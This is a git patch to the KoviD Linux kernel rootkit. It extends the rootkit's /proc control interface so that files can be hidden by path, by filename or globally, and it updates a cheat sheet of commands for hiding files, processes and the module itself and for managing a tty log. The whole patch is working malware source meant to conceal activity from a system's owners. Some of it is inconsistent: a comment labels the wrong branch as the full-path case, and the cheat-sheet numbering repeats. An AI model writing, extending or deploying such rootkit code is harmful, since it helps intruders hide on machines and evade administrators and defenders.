From ebc05c9baa02642cb91df0f7a4e847eb6aad47af Mon Sep 17 00:00:00 2001
From: JNE <jne@non-negative.org>
Date: Wed, 2 Oct 2024 11:14:25 +0100
Subject: [PATCH] Add support for hiding specific files

-a: flag now support both full-path and filename-only

Hiding only /tmp/file.txt
        echo "-a /tmp/file.txt"
Hiding only file.txt in the current directory
        echo "-a file.txt"
Hiding all instances of file txt (globally)
        echo "-g file.txt"
---
 docs/cheatsheet-proc-interface.txt | 26 ++++++++++-----
 src/kovid.c                        | 53 ++++++++++++++++--------------
 2 files changed, 46 insertions(+), 33 deletions(-)

diff --git a/docs/cheatsheet-proc-interface.txt b/docs/cheatsheet-proc-interface.txt
index 8160e76..20a92f5 100644
--- a/docs/cheatsheet-proc-interface.txt
+++ b/docs/cheatsheet-proc-interface.txt
@@ -33,30 +33,38 @@
     $ echo "-s" >/proc/test
     $ dmesg
 
-#11 Hide README.txt by inode number from current directory
-    $ echo "-a AAA `stat -c %i README.txt`" >/proc/test
+#11 Hide README.txt
+    # At current directory only
+        $ echo "-a README.txt" >/proc/test
+    # At full-path
+        $ echo "-a /home/files/README.txt" >/proc/test
 
-#12 Hide ALL files named README.txt - this bypass #11
+#11 Hide README.txt globally - hide all instances of README.txt
+        # bypass #10 and #11
+        $ echo "-g README.txt" >/proc/test
+
+
+#13 Hide ALL files named README.txt - this bypass #11
     $ echo "-a README.txt" >/proc/test
 
-#13 Undo #12 - this bypass #11
+#14 Undo #12 - this bypass #11
     $ echo "-d README.txt" >/proc/test
 
-#14 List hidden tasks - debug mode only
+#15 List hidden tasks - debug mode only
     $ echo "-s" >/proc/test
     $ dmesg
 
-#14 List hidden files and directories - debug mode only
+#16 List hidden files and directories - debug mode only
     $ echo "-l" >/proc/test
     $ dmesg
 
-#15 Mark tty log file to be removed when KoviD is rmmod'ed
+#17 Mark tty log file to be removed when KoviD is rmmod'ed
     $ echo "-t0" >/proc/test
 
-#16 Undo #15
+#18 Undo #15
     $ echo "-t1" >/proc/test
 
-#17 Fetch the base address of a running process by PID number
+#19 Fetch the base address of a running process by PID number
     $ echo "-b <PID>">/proc/kv
     $ cat /proc/kv
 
diff --git a/src/kovid.c b/src/kovid.c
index e5055f2..c3f9079 100644
--- a/src/kovid.c
+++ b/src/kovid.c
@@ -22,6 +22,7 @@
 #include <linux/tcp.h>
 #include <linux/kthread.h>
 #include <linux/kernel.h>
+#include <linux/namei.h>
 
 #include "lkm.h"
 #include "fs.h"
@@ -476,7 +477,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
             } else {
                 kv_hide_task_by_pid(val, 1, CHILDREN);
             }
-        /* hide kovid module */
+            /* hide kovid module */
         } else if(!strcmp(buf, "-h") && !op_lock) {
             static unsigned int msg_lock = 0;
             if(!msg_lock) {
@@ -490,33 +491,37 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
             /* list hidden tasks */
         } else if(!strcmp(buf, "-s")) {
             kv_show_saved_tasks();
-            /* add name to the list of hidden files/directories
-             * and inode, is present.
-             * */
+            /* hide file/directory based on inode */
         } else if(!strncmp(buf, "-a", MIN(2, size))) {
-            int ino = 0;
             char *s = &buf[3];
-            char *number_str;
             const char *tmp[] = {NULL, NULL};
-            int ok = 1;
-
-            s[strcspn(s, "\n")] = 0;
-
-            // Find the first space in the input to separate name and number
-            number_str = strchr(s, ' ');
-            if (number_str) {
-                *number_str++ = '\0';
-            } else {
-                number_str = "";
+            struct kstat stat;
+            struct path path;
+
+            if (!kern_path(s, LOOKUP_FOLLOW, &path)) {
+                if (!vfs_getattr(&path, &stat, STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT)) {
+                    if (*s != '/') {
+                        /** It is a full path */
+                        tmp[0] = s;
+                        fs_add_name_rw(tmp, stat.ino);
+                    } else {
+                        /** It is filename, no problem because we have path.dentry */
+                        const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL);
+                        path_put(&path);
+                        tmp[0] = f;
+                        fs_add_name_rw(tmp, stat.ino);
+                        kv_mem_free(&f);
+                    }
+                }
+            }
+            /* hide file/directory globally */
+        } else if(!strncmp(buf, "-g", MIN(2, size))) {
+            char *s = &buf[3];
+            s[strcspn(s, " ")] = 0;
+            if (strlen(s)) {
+                const char *tmp[] = {s,NULL};
+                fs_add_name_rw(tmp, 0);
             }
-
-            *tmp = s;
-            if (*number_str)
-                ok = !kstrtoint(number_str, 10, &ino);
-
-            if (ok)
-                fs_add_name_rw(tmp, ino);
-            /* unhide file/directory */
         } else if(!strncmp(buf, "-d", MIN(2, size))) {
             char *s = &buf[3];
             s[strcspn(s, " ")] = 0;